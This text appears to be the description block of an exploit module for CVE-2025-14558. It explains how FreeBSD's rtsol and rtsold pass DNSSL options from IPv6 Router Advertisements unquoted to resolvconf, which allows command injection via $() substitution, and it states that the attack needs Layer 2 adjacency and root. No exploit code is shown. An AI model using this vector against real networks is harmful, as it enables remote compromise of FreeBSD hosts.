          This module exploits a command injection vulnerability (CVE-2025-14558)
          in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
          validate the domain search list options provided in IPv6 Router
          Advertisement messages; the option body is passed to resolvconf(8)
          unmodified. resolvconf(8) is a shell script which does not validate
          its input. A lack of quoting means that shell commands passed as input
          to resolvconf(8) may be executed, enabling command injection via $()
          substitution in the DNSSL domain name fields.

          This exploit requires Layer 2 adjacency to the target (same network
          segment) and root privileges to send raw packets. Router advertisement
          messages are not routable and should be dropped by routers, so the
          attack does not cross network boundaries.
